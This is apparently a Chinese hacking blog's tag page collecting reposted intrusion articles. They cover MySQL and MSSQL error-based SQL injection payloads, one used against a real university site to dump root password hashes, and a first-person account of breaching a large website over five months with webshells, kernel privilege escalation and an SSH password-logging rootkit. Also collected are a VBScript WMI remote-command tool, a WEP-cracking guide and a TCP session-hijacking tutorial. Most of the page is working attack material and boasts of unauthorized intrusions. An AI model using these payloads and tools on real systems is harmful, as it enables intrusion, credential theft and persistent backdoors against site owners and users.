Posts tagged 入侵

ByPass IDS

1.本地构造测试表

mysql> create table users(id int,name varchar(20),passwd varchar(32));
Query OK, 0 rows affected (0.04 sec)

mysql> insert into users value(1,’mickey’,’827ccb0eea8a706c4c34a16891f84e7b’);
Query OK, 1 row affected (0.00 sec)

mysql> create table news(is_admin int(1),id int(2),title varchar(100),date date);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into news values(1,1,’hello,mickey’,now());
Query OK, 1 row affected, 1 warning (0.00 sec)

2.暴列名

mysql> select * from (select * from users as a join news as b) as c;
ERROR 1060 (42S21): Duplicate column name ‘id’

mysql> select * from (select * from users a join users b using(id)) c;
ERROR 1060 (42S21): Duplicate column name ‘name’
mysql> select * from (select * from users a join users b using(id,name)) c;
ERROR 1060 (42S21): Duplicate column name ‘passwd’
mysql> select * from (select * from users a join users b using(id,name,passwd)) c;
+——+——–+———————————-+
| id   | name   | passwd                           |
+——+——–+———————————-+
|    1 | mickey | 827ccb0eea8a706c4c34a16891f84e7b |
+——+——–+———————————-+
1 row in set (0.00 sec)

mysql> select * from (select * from news a join news b using(id)) as c;
ERROR 1060 (42S21): Duplicate column name ‘is_admin’
mysql> select * from (select * from news a join news b using(id,is_admin)) as c;
ERROR 1060 (42S21): Duplicate column name ‘title’
mysql> select * from (select * from news a join news b using(id,is_admin,title)) as c;
ERROR 1060 (42S21): Duplicate column name ‘date’
mysql> select * from (select * from news a join news b using(id,is_admin,title,date)) as c;
+———-+——+————–+————+
| is_admin | id   | title        | date       |
+———-+——+————–+————+
|        1 |    1 | hello,xxx | 2010-05-08 |
+———-+——+————–+————+
1 row in set (0.00 sec)

3.暴字段值

研究出来的暴制语句
select * from cms_votes where vid=1 and exists
(select * from (select * from (select name_const((select group_concat(concat(uid,0x7c,pwd)) from admin)
,'fuck')) a join (select name_const((select group_concat(concat(uid,0x7c,pwd)) from admin),'fuck')) b)c);

运用:
mysql> select * from cms_votes where vid=1 and exists
(select * from (select * from (select name_const(
(select group_concat(concat(uid,0x7c,pwd)) from admin),'fuck')) a
join (select name_const((select group_concat(concat(uid,0x7c,pwd)) fromadmin),
'fuck')) b)c);
ERROR 1060 (42S21): Duplicate column name 'ylbhz|fuck,mickey|fucked'
mysql>

mysql> select * from cms_votes where vid=1 and exists
(select * from (select * from (select name_const(@@version,0))
a join (select name_const(@@version,0)) b)c);
ERROR 1060 (42S21): Duplicate column name '5.0.45-community-nt'

4.实际入侵案例

http://xxxxxx.edu.cn/qcwh/content/detail.php?id=330&sid=19
&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)

Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’

http://xxxxxx.edu.cn/qcwh/content/detail.php?id=330&
sid=19&cid=261+and+exists(select*from+(select*from(
select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))a+join+
(select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))b)c)
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
Thx mickey:D

From pentest.cc.

 

from:http://hi.baidu.com/lucidc/blog/item/60452da51012bafb9052ee2a.html

xxbing的一次日站过程

腾讯2009年安全技术峰会上我曾经提出一个观点:墨菲定律:如果它能够被黑客攻破,它就将被攻破。对于一个黑 客来说,他要黑一个企业,仅仅是时间上的问题,总之是成本上的问题,比如有个盗号集团在支持他,他说我给你一年时间你把这个企业黑了,搞定了就给你多少 钱。一年时间我相信只要他有这个毅力,基本上在座的公司逃不过这一劫。

这个观点看似有点哗众取宠,但它确实是一个不争的事实。今天XXB同学就上演了5个月日掉PR7网站的LIVE秀。

我总结下教训:

1、UDEV补丁没打,估计其他几个内核补丁肯定也没打

2、主机安全需要有基线,PHP安全模式得打开

3、被安装了ssh后门却蒙在鼓里

这三点看似简单,但却知难行易;建立完善的主机入侵防御体系,技术对抗很重要,但技术对抗只是一个小问题。引用caoz的一段话:

1.技术是为了解决问题,而不是制造问题。
2.把握目标去应用技术,而不是为了技术去虚构目标。(包子注:技术狂人一 般喜欢这么做,为了追求自己的满足感,成就感,虚构目标,虚构需求)
3.用户需求(通常是潜在需求)决定技术和产品方向,技术反过来刺激需求的显现和增长。
4.技术仍然非常重要,非常有价值,但是前提是,它要用到正确的方向上。

共勉之,转载开始。

我很懒,懒贴得图。
【由于害怕怕被JC叔叔请去喝茶,我以下所发表的内容不完全代表本人的意见。不排除黑客入侵我机器,盗走都账号在此发表。文中网址都已和谐!该站点网址用www.xxbing.com代替】

美女同学要看言情小说,www.xxbing.com 的言情小说要收钱,于是就帮她找找“空子”!

http://tool.chinaz.com/查 了一下www.xxbing.com信 息,日IP访问量快达到40W了。很牛逼呀。全站采用php构架。nignx服务器。好了,废话结束。进入正题。

首先我注册了一个账号,然后我登陆作者平台,申请成为作者需要提交自己的原创作品。于是我上baidu搜索了一本很多年前的小说,提交了几章,等待 审核。

几天后,成功的申请成为作者。经过1-2个小时的手工测试,成功的在管理作品处寻到一个注射点。
类似: book.php?bookid=123
我提交 book.php?bookid=123 and 1=1 [正常]
book.php?bookid=124-1             [正常]
book.php?bookid=123 and 1=2  [错误]提示权限不足。
book.php?bookid=124                 [错误]提示权限不足。
可以判断这里是注射点了,为什么会提示权限不足,应该是每个bookid代表一本图书,有其他字段控制着作者信息,防止非法编辑他人作品。

用order判断出有53个字段。

book.php?bookid=123 and 1=2 union select 1,2,3,……,52,53# 提示:[错误]提示权限不足。

绝对是其中某个位置的数字不正确,导致系统判断我编辑了其他人的图书。于是我把注射点丢到pangolin里面暴力跑字段。成功的跑出53个字段名 出来。(一个字符一个字符的暴力猜解。跑了很久)

然后提交: book.php?bookid=123 and 1=2 union select 字段名1,字段名1,字段名3,……,字段名52,字段名53# 成功显示正常页面。

接着我把字段名1、字段名2等等,一个个替换成数字,这个过程中一直显示正常页面。终于到了字段名13的时候,出错了,提示权限不足。那就可以跑 了。

book.php?bookid=123 and 1=2 union select 1,2,3,…,字段名13,…,52,53# 正常页面,页面上出现我定义的数字。

接下来就丢到WSI 5.1里面跑数据。很可惜,数据库里面只有一些作品内容,也有编辑用户表,所有编辑账号密码都有,但是找不到后台。

于是我开始寻找绝对路径,也找了N久,后来被我在上传图片处找到。上传一张图片,系统会自动生成该图片的缩略图,我上传一个文本图片,处理的时候出 错了。爆出了绝对路径。
[/opt/data/www/xxx.cn/common/include/upfile.php]

用load_file能读出来。顺藤摸瓜,成功读到Mysql账号密码。
mysql账号:  Myuser
密码: (Myuser.pass)

可惜该服务器3306端口外部无法连接【ip:111.111.111.58】。服务器开了GPC,无法导SHELL。【陷入此步1个多月。】

一个月后,我一次百无聊赖的又用wsi看数据库,看到MySql库中user表里面的内容。

真实地址已处理

1
localhost  root  *C8169C29D82108D9D608E702575A2371348AAB32

2
localhost  Myuser  *CDBC867991BB13C75EED082F7A1CBFC14DB97E31

3
111.111.111.59  Myuser  *CDBC867991BB13C75EED082F7A1CBFC14DB97E31

4
222.222.222.56  Myuser  *CDBC867991BB13C75EED082F7A1CBFC14DB97E31

5
111.111.111.58  Myuser  *CDBC867991BB13C75EED082F7A1CBFC14DB97E31

6
222.222.222.55  Myuser  *CDBC867991BB13C75EED082F7A1CBFC14DB97E31

7
111.111.111.61  Myuser  *CDBC867991BB13C75EED082F7A1CBFC14DB97E31

8
111.111.111.52  Myuser  *CDBC867991BB13C75EED082F7A1CBFC14DB97E31

才发现原来有很多IP有权限连接,选择了拿111.111.111.61服务器。上面有个解梦类网站。采用的是DreamArticle_V3.0 系统。网上搜索该系统漏洞无果。

自己上网下载该代码,阅读源代码,挖掘出0day一枚。根目录下show.php注射点。

show.php?id=%cf’%20union%20select%201,2,3,11,5,@version,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23

得到管理员md5值,破解管理员md5,登陆默认地址。在后台系统配置处getwebshell一个。【此处感谢国际黑客的友情帮助。】

开工,连接目标服务器服务器Mysql成功。可以111.111.111.58服务器权限设置太紧。导shell的时候提示:mysql can’t write file.[error:113]

陷入僵局,突然灵机一动,该站应该还有几台服务器,都在111.111.111.x段内。于是ping到另一分站ip:111.111.111.56

还是用原来的mysql账号和密码,成功连接上56服务器的mysql。根据111.111.111.61服务器上的nignx安装地址,读取了56服务 器的nignx.conf文件代码。

找到www.xxbing.com的分站home.xxbing.com的绝对路径。导出Webshell一枚。 56服务器是一台关键的服务器,因为www.xxbing.com所 有会员表都在上面。

通过56服务器的nignx.conf配置文件,看到了残留的后台管理地址bj.www.xxbing.com。(以前存放在 56服务器,后搬走了,但是nignx.conf里面的后台url地址没删除)

在56服务器的mysql数据库中找到超级管理员的账号密码,登陆bi.www.xxbing.com,进入后台。发现后台有个上传专题功能,于是我传了一匹 php木马上去。又得到一台服务器。ip: 111.111.111.52

总结一下:
我现在拥有 111.111.111.56
111.111.111.52
111.111.111.61
这3台服务器的权限。(全部是linux服务器)上面有分站若干个,还有所有重要数据库。

主站点www.xxbing.com不 在上面。主站采用cdn加速,无法得到真实IP。

没办法,我一定要拿到58服务器,上去找一找。(拿58服务器过程非常困难,花了很多心思,这里不表。)

为了扩大战果,我用udev漏洞得到了52服务器的root权限。关闭了该服务器的防火墙,安装了一个Rootkit,功能是记录 root  ssh登陆密码,并且设置一个ssh超级密码。【此处感谢XX同学提供linux内部后门,以及技术支持。】

2天后,root密码被记录到,我连接58服务器的mysql,读取了/etc/ssh/ssh_config文件,得到ssh 端口为7777,但是外部无法连接,我先登陆上52服务器,然后ssh -p 7777 111.111.111.58

输入记录的密码成功登陆58服务器。上面分站不少,可惜还是没有主站点。甚至连 www.xxbing.com的真实IP都不知 道。唉,失败。

查看了我现在拥有的4台服务器,发现基本所有的分站都被搞定了。我肯定还漏了一台。

于是用熊猫黑客写的旁注大杀器【论坛有下】,扫描111.111.111.x段,没有结果。这时候,突然想起mysql.user表。主站要读取数 据,肯定要连接这4台服务器的MYSQL。

于是翻看了4台服务器上的所有mysql.user表。终于发现其IP地址。222.222.222.1

远程ssh,连不上。继续用先前得到的mysql账号密码连,OK,连上了。读nignx配置,导木马。搞定。

ps:这些过程,一起花费接近5个月。战果也是丰硕的,一个RP7站,一个RP6。
有疑问的回复提问吧。

来源:http://baoz.net/%E3%80%90%E8%BD%AC%E8%BD%BD%E3%80%91xxbing%E7%9A%84%E4%B8%80%E6%AC%A1%E6%97%A5%E7%AB%99%E8%BF%87%E7%A8%8B/

绕过单引号继续注入

/

Web应用程序一般都会使用数据库来保存各种信息,比如电子商务网站的帐户信息、销售商品的价格,订单、支付细节、和各种不同的权限数值等。数据库中的信息的读取、更新、增加或者删除等都是通过SQL来实现的,因此,在数据交互的环节没有安全过滤净化,则可能易于受到SQL注入攻击,严重的可能导致数据库非法操作,但是随着时间的推移,Web应用程序的开发者安全意识的日渐增强,SQL注入漏洞已经呈下降消失状态,但是之前的Web程序在被动防范SQL攻击时,还是略显乏力,或者说是考虑不太周全。比如说普遍使用的过滤关键字的方法,如果仅仅过滤单引号或者小写类的关键字,则极易出现绕过的情形,而国内的安全公司相继推出的硬件WAF是否会存在同样的问题呢?从根本上说硬件WAF基于访问请求流量来鉴别攻击行为,可能在以后的攻防对立的演化过程也会慢慢有爆出被绕过的问题,所有的问题依然存在。本文试着在注入的SQL语句中不引用单引号,来和大家讨论一下注入攻击的部分原理和技巧。在一次测试中,发现一注入点过滤了单引号和小写的关键字,提交语句如下:

http://www.nuanyue.com/Test.asp?id=28′ AND 1=(SELECT @@VERSION)—


去掉单引号再次提交:

http://www.nuanyue.com/Test.asp?id=28 AND 1=(SELECT @@VERSION)—


成功爆出数据库的系统版本了,说明在处理数据提交时,网站即使过滤了单引号了,依然可以注入。以下将和大家讨论获取数据库名、获取表名、获取列名、获取值等内容的部分SQL语句。在Mssql2005master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有的数据库信息,仅需要PUBLIC权限就可以进行select操作:

use master;

SELECT * FROM MASTER.DBO.SYSDATABASES


一至四,都是系统自带的数据库名,所以可以通过dbid这个查询变量来一一进行爆出数据库名,提交查询语句:

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)


查询语句通过dbid取值从1至到无法爆出数据库名为至。


Mssql2005版本里每个数据库都有一个用来存放表名信息的表,其权限同样仅public权限就能查询了,表名为:INFORMATION_SCHEMA.TABLES

use master ;

select * from INFORMATION_SCHEMA.TABLES;


表名就存储在TABLE_NAME列里,通过使用条件查询语句限制型“Top 1″,一条条纪录爆出表名来。

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)


其为爆出的第一条纪录。如想爆出第一条记录,即可以使用sql语法的条件语句“where table_name !=0x已经爆出表名的十六进制来取内容。先取已爆表名的十六进制。


再提交语句如下:

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME!=0×41006400760065007200740069007A0065007200)


成功爆出第二个表名,剩下的以此类推。当然读取数据库的INFORMATION_SCHEMA.TABLES表内容,只是当前数据库的表名,如果要读取整个数据库的表名,可以读sysobjects表的name列名,原理同上。

在获取表名,得到列名是注入的下一个关键问题,在MSSQL 2005的数据库里,有张表名sys.all_objects里存放着表与列的信息,其表的列名object_id里存放着一个数值,对应着另一表名sys.all_columns里的列名ID,sys.all_columns表里存放着列的信息。执行:

Select * from sys.all_objects


由上图可知,列名name和列名object_id是有对应的。在注入时,可以通过指定name值来指定爆表的object_id的值。提交:

http://www.nuanyue.com/Test.asp?id=28 AND 999999< (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE43006C00690063006B0049005000)—


以上语句是无法直接爆出数值来的,但是可以用折半法来进行猜解,由于其数值都在10位以上,所以,其法也不太可能,但是可以联合两张表来直接查询。再次提交:

http://www.nuanyue.com/Test.asp?id=28 AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0×43006C00690063006B0049005000)—


已经爆出表名0×43006C00690063006B0049005000的第一个列名ID了,可以加入条件“and B.NAMe != 0x已经爆出的列名
类推可以依次爆出。

http://www.nuanyue.com/Test.asp?id=28 AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0×43006C00690063006B0049005000 AND B.NAME!=0×49004400)—


在获取了表名和列名之后,获取其值也是很简单的。比较常用的有比如这样的获取值的:

http://www.nuanyue.com/Test.asp?id=28 AND 77= (SELECT ascii(@@VERSION))

http://www.nuanyue.com/Test.asp?id=28 AND 1=2 UNSION SELECT 1,2,3..@@VERSION–…

一种是爆错对比,一种是union操作。第一种是基于查询后值的对比,而union操作是将执行返回的结果直接在浏览器显示,从而避免繁琐的折半猜测,在使用union操作时,前提则是前后查询的两种结果的结构相同,即是列名数相同,可以通过“order by 列名数来鉴别。

http://www.nuanyue.com/Test.asp?id=28 order by 1—

http://www.nuanyue.com/Test.asp?id=28 order by 2


http://www.nuanyue.com/Test.asp?id=28 Order by 8—

此时,返回错误页面,即说明列名数是8,执行语句:

http://www.nuanyue.com/Test.asp?id=28 and 1=2 Unsion select 1,2,3,4,5,6,7,8—

来取出纪录。

防范SQL注入攻击,尽管不同的数据库也会有不同的攻击技巧,复杂程序也各不相同,而许多SQL注入防范措施仅仅从某一处着手或者部分有效,从一个安全整体的角度立体的防护或许是值得借鉴的方法,比如从代码逻辑层、数据库层、网络层、系统层等,从本文阐述的原理来看,下次针对数据库的安全加固,你是否会调整一下“SYSOBJECTSSYSCOLUMNS”等对象的权限呢?好像数据库批量挂马也有用到这两个表哦!

From:http://www.nuanyue.com/绕过单引号继续注入.html

Remote CMD With WMI

‘Coded by Np


On Error Resume Next

Set outstreem=Wscript.stdout

If (LCase(Right(Wscript.fullname,11))=”Wscript.exe”) Then

Set objShell=Wscript.CreateObject(“Wscript.shell”)

objShell.Run(“cmd.exe /k cscript //nologo “&Chr(34)&Wscript.ScriptFullName&Chr(34))

Wscript.Quit

End If

If Wscript.arguments.Count<4 Then

usage()

Wscript.echo “Not enough Parameters.”

Wscript.Quit

End If



ip=Wscript.arguments(0)

username=Wscript.arguments(1)

password=Wscript.arguments(2)

CmdStr=Wscript.arguments(3)



foldername=”c:\\windows\\temp\\”



wsh.echo “Conneting “&ip&” ….”

Set objlocator=CreateObject(“wbemscripting.swbemlocator”)

Set objswbemservices=objlocator.connectserver(ip,”root/cimv2″,username,password)

showerror(err.number)

Set Win_Process=objswbemservices.Get(“Win32_ProcessStartup”)

Set Hide_Windows=Win_Process.SpawnInstance_

Hide_Windows.ShowWindow=12

Set Rcmd=objswbemservices.Get(“Win32_Process”)

Set colFiles = objswbemservices.ExecQuery _ 

(“Select * from CIM_Datafile Where Name = ‘”&foldername&”read.vbs’”)

If colFiles.Count = 0 Then

wsh.echo “Not found read.vbs! Create Now!”

Create_read()

End If







msg1=Rcmd.create(“cmd /c “&CmdStr&”>%windir%\temp\tmp~386″,Null,Hide_Windows,intProcessID)

If msg1 =0 Then wsh.echo “Command success…”&Chr(13)&Chr(10)&”Wait Write reg…”

wsh.sleep(2000)

msg2=Rcmd.create(“cmd /c cscript %windir%\temp\read.vbs”,Null,Hide_Windows,intProcessID)

If msg1 = 0 And msg2 = 0 Then

wsh.echo “Command success…”

Else

showerror(Err.Number)

End If



wsh.echo “Please Wait 4 Second ….”

wsh.sleep(4000)

Set StdOut = Wscript.StdOut  

Set objinstreg=objlocator.connectserver(ip,”root/default”,username,password).Get(“stdregprov”)

objinstreg.GetMultiStringValue &H80000002,”SOFTWARE\Clients”,”cmd”  ,arrValues  

wsh.echo String(79,”*”)

wsh.echo cmdstr&Chr(13)&Chr(10)

For Each strValue In arrValues     

StdOut.WriteLine  strValue

Next 

h



Sub Create_read()

RunYN = Rcmd.create(“cmd /c echo On Error Resume Next:File=^”"%windir%\temp\tmp~386^”">%windir%\temp\read.vbs”_

&”&&echo Set f=CreateObject(^”"Scripting.FileSystemObject^”")>> %windir%\temp\read.vbs”_

&”&&echo Set ff=f.OpenTextFile(File,1,False):str=ff.readall:ff.Close:If str=^”"^”" Then str=^”"Nothing????^”">> %windir%\temp\read.vbs”_

&”&&echo Set oreg=GetObject(^”"winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv^”")>> %windir%\temp\read.vbs”_

&”&&echo oreg.SetMultiStringValue ^&H80000002,^”"SOFTWARE\Clients^”",^”"cmd^”",Array(str)>> %windir%\temp\read.vbs”_

&”&&echo Wsh.sleep(500):f.DeleteFile(File):Set f=Nothing>> %windir%\temp\read.vbs”,Null,Hide_Windows,intProcessID)



If RunYN = 0 Then

wsh.echo “read.vbs Created!!!”

Else

showerror(Err.Number)

End If



End Sub



Function showerroronly(errornumber)

If errornumber Then

Wscript.echo “Error 0x”&CStr(Hex(Err.Number))&” .”

If Err.Description <> “” Then

Wscript.echo “Error Description: “&Err.Description&”.”

End If

Wscript.Quit

Else

outstreem.Write “.”

End If

End Function





Sub usage()

wscript.echo string(79,”*”)

wscript.echo “Rcmd v1.00″

wscript.echo “Usage:”

wscript.echo “cscript “&wscript.scriptfullname&” targetIP username password Command”

wscript.echo string(79,”*”)&vbcrlf

end Sub

from:http://www.rootkit.net.cn/article.asp?id=128

用BT3入侵无线WEP快速上手指南

1、一定要从U盘或光盘引导进入BT3(一定不要在vmware中启动BT3),选第四项进入文字模式,startx,在/pentest/wireless目录下面存放着工具
2、airmon //查看网卡的监控状态
airmon-ng start wlan0 //启动指定的无线网卡
airodump-ng -w 123 eth0 //一般不需要执行
ifconfig //查看网卡有没有启动
3、首先要设置网卡,输入“spoondrv”,然后点那个“Show Loaded”会显示出目前加载的网卡驱动:
比如我的无线网卡驱动为: 35 Realtek 8187
4、spoonwep //进入图形模式
依次选:wlan0/normal/unknown victim
最好先执行AP扫描操作,如果能扫描到AP接入点说明成功
选”P0841 REPLAY ATTACK”
在Victim MAC 后输入要破解的AP的BSSID
5、将获得的密钥填入“网络密钥”栏中,要记住不是密码栏中。

下载:制作U盘启动中文版BT3.rar

会话劫持攻击实战详解

前言
  通常,大家所说的入侵,都是针对一台主机,在获得管理员权限后,就很是得意;其实,真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多,但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是,不管使用什么技术,无非都是抓取目标的数据包,然后分析出敏感数据。如果目标内部采用的是共享式网络(采用HUB集线器连网),那只需要把网卡设置为“混杂模式”,挂上嗅探器(Sniffer),就能简听到你想得到的数据。如果是交换式网络(采用交换机连网),这样方法就行不通了,因为对于嗅探器,有三种网络环境是无法跨越的:“网桥”、“交换机”、“路由器”。可惜,对于ARP欺骗,交换式网络还是无能为力,如果我们借助ARP欺骗,在实现更高一层的“入侵手段”,从而真正的控制内部网络。这也就是本文要叙述的会话劫持攻击……

  一、会话劫持原理
  1、什么是会话劫持

  在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?!当然,这只是一个比喻,但这恰恰就是会话劫持的喻意。所谓会话,就是两台主机之间的一次通讯。例如你Telnet到某台主机,这就是一次Telnet会话;你浏览某个网站,这就是一次HTTP会话。而会话劫持(Session Hijack),就是结合了嗅探以及欺骗技术在内的攻击手段。例如,在一次正常的会话过程当中,攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行简听,甚至可以是代替某一方主机接管会话。我们可以把会话劫持攻击分为两种类型:1)中间人攻击(Man In The middle,简称MITM),2)注射式攻击(Injection);并且还可以把会话劫持攻击分为两种形式:1)被动劫持,2)主动劫持;被动劫持实际上就是在后台监视双方会话的数据流,丛中获得敏感数据;而主动劫持则是将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大,攻击者可以做很多事情,比如“cat etc/master.passwd”(FreeBSD下的Shadow文件)。

  MITM攻击简介

  这也就是我们常说的“中间人攻击”,在网上讨论比较多的就是SMB会话劫持,这也是一个典型的中间人攻击。要想正确的实施中间人攻击,攻击者首先需要使用ARP欺骗或DNS欺骗,将会话双方的通讯流暗中改变,而这种改变对于会话双方来说是完全透明的。关于ARP欺骗黑客防线介绍的比较多,网上的资料也比较多,我就不在多说了,我只简单谈谈DNS欺骗。DNS(Domain Name System),即域名服务器,我们几乎天天都要用到。对于正常的DNS请求,例如在浏览器输入www.hacker.com.cn,然后系统先查看Hosts文件,如果有相对应的IP,就使用这个IP地址访问网站(其实,利用Hosts文件就可以实现DNS欺骗);如果没有,才去请求DNS服务器;DNS服务器在接收到请求之后,解析出其对应的IP地址,返回给我本地,最后你就可以登陆到黑客防线的网站。而DNS欺骗则是,目标将其DNS请求发送到攻击者这里,然后攻击者伪造DNS响应,将正确的IP地址替换为其他IP,之后你就登陆了这个攻击者指定的IP,而攻击者早就在这个IP中安排好了恶意网页,可你却在不知不觉中已经被攻击者下了“套”……DNS欺骗也可以在广域网中进行,比较常见的有“Web服务器重定向”、“邮件服务器重定向”等等。但不管是ARP欺骗,还是DNS欺骗,中间人攻击都改变正常的通讯流,它就相当于会话双方之间的一个透明代理,可以得到一切想知道的信息,甚至是利用一些有缺陷的加密协议来实现。

  注射式攻击简介

  这种方式的会话劫持比中间人攻击实现起来简单一些,它不会改变会话双方的通讯流,而是在双方正常的通讯流插入恶意数据。在注射式攻击中,需要实现两种技术:1)IP欺骗,2)预测TCP序列号。如果是UDP协议,只需伪造IP地址,然后发送过去就可以了,因为UDP没有所谓的TCP三次握手,但基于UDP的应用协议有流控机制,所以也要做一些额外的工作。对于IP欺骗,有两种情况需要用到:1)隐藏自己的IP地址;2)利用两台机器之间的信任关系实施入侵。在Unix/Linux平台上,可以直接使用Socket构造IP包,在IP头中填上虚假的IP地址,但需要root权限;在Windows平台上,不能使用Winsock,需要使用Winpacp(也可以使用Libnet)。例如在Linux系统,首先打开一个Raw Socket(原始套接字),然后自己编写IP头及其他数据。可以参考下面的实例代码:

  sockfd = socket(AF_INET, SOCK_RAW, 255);
  setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

  struct ip *ip;
  struct tcphdr *tcp;
  struct pseudohdr pseudoheader;
  ip->ip_src.s_addr = xxx;
  pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
  tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
  sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));

  对于基于TCP协议的注射式会话劫持,攻击者应先采用嗅探技术对目标进行简听,然后从简听到的信息中构造出正确的序列号,如果不这样,你就必须先猜测目标的ISN(初始序列号),这样无形中对会话劫持加大了难度。那为什么要猜测会话双方的序列号呢?请继续往下看。

  2、TCP会话劫持

  本文主要叙述基于TCP协议的会话劫持。如果劫持一些不可靠的协议,那将轻而易举,因为它们没有提供一些认证措施;而TCP协议被欲为是可靠的传输协议,所以要重点讨论它。

  根据TCP/IP中的规定,使用TCP协议进行通讯需要提供两段序列号,TCP协议使用这两段序列号确保连接同步以及安全通讯,系统的TCP/IP协议栈依据时间或线性的产生这些值。在通讯过程中,双方的序列号是相互依赖的,这也就是为什么称TCP协议是可靠的传输协议(具体可参见RFC 793)。如果攻击者在这个时候进行会话劫持,结果肯定是失败,因为会话双方“不认识”攻击者,攻击者不能提供合法的序列号;所以,会话劫持的关键是预测正确的序列号,攻击者可以采取嗅探技术获得这些信息。

  TCP协议的序列号

  现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中,都有两段序列号,它们分别为:

  SEQ:当前数据包中的第一个字节的序号
  ACK:期望收到对方数据包中第一个字节的序号

  假设双方现在需要进行一次连接:

  S_SEQ:将要发送的下一个字节的序号
  S_ACK:将要接收的下一个字节的序号
  S_WIND:接收窗口
  //以上为服务器(Server)
  C_SEQ:将要发送的下一个字节的序号
  C_ACK:将要接收的下一个字节的序号
  C_WIND:接收窗口
  //以上为客户端(Client)

  它们之间必须符合下面的逻辑关系,否则该数据包会被丢弃,并且返回一个ACK包(包含期望的序列号)。

  C_ACK <= C_SEQ <= C_ACK + C_WIND
  S_ACK <= S_SEQ <= S_ACK + S_WIND

  如果不符合上边的逻辑关系,就会引申出一个“致命弱点”,具体请接着往下看。

  致命弱点

  这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ACK包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包……于是,就这样来回往返,形成了恶性循环,最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗,使双方的数据包“正常”的发送到攻击者这里,然后设置包转发,最后就可以进行会话劫持了,而且不必担心会有ACK风暴出现。当然,并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意,ACK风暴仅存在于注射式会话劫持。

  TCP会话劫持过程

  假设现在主机A和主机B进行一次TCP会话,C为攻击者,劫持过程如下:

  A向B发送一个数据包
  SEQ (hex): X ACK (hex): Y
  FLAGS: -AP— Window: ZZZZ,包大小为:60

  B回应A一个数据包
  SEQ (hex): Y ACK (hex): X+60
  FLAGS: -AP— Window: ZZZZ,包大小为:50

  A向B回应一个数据包
  SEQ (hex): X+60 ACK (hex): Y+50
  FLAGS: -AP— Window: ZZZZ,包大小为:40

  B向A回应一个数据包
  SEQ (hex): Y+50 ACK (hex): X+100
  FLAGS: -AP— Window: ZZZZ,包大小为:30

  攻击者C冒充主机A给主机B发送一个数据包
  SEQ (hex): X+100 ACK (hex): Y+80
  FLAGS: -AP— Window: ZZZZ,包大小为:20

  B向A回应一个数据包
  SEQ (hex): Y+80 ACK (hex): X+120
  FLAGS: -AP— Window: ZZZZ,包大小为:10

  现在,主机B执行了攻击者C冒充主机A发送过来的命令,并且返回给主机A一个数据包;但是,主机A并不能识别主机B发送过来的数据包,所以主机A会以期望的序列号返回给主机B一个数据包,随即形成ACK风暴。如果成功的解决了ACK风暴(例如前边提到的ARP欺骗),就可以成功进行会话劫持了。

  关于理论知识就说到这里,下面我以具体的实例演示一次会话劫持。

  二、会话劫持实践
  1、唠叨几句

  可以进行会话劫持的工具很多,比较常用有Juggernaut,它可以进行TCP会话劫持的网络Sniffer程序;TTY Watcher,而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持,只是看你会不会使用了。但,能将会话劫持发挥得淋漓尽致的,还要算Hunt这个工具了。它的作者是Pavel Krauz,可以工作在Linux和一些Unix平台下。它的功能非常强大,首先,无论是在共享式网络还是交换式网络,它都可以正常工作;其次,可以进行中间人攻击和注射式攻击。还可以进行嗅探、查看会话、监视会话、重置会话。通过前面的叙述,我们知道在注射式攻击中,容易出现ACK风暴,解决办法是先进行ARP欺骗;而使用Hunt进行注射式攻击时,它并不进行ARP欺骗,而是在会话劫持之后,向会话双方发送带RST标志位的TCP包以中断会话,避免ACK风暴继续下去。而中间人攻击是先进行ARP欺骗,然后进行会话劫持。Hunt目前最新版本是1.5,可以到Pavel Krauz网站下载源代码包和二进制文件:http://lin.fsid.cvut.cz/~kra/#hunt。

  现在来看看如果使用Hunt,首先是下载并编译源代码:

  [root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz
  [root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
  [root@dahubaobao hunt]#cd hunt-1.5
  [root@dahubaobao hunt-1.5]#make
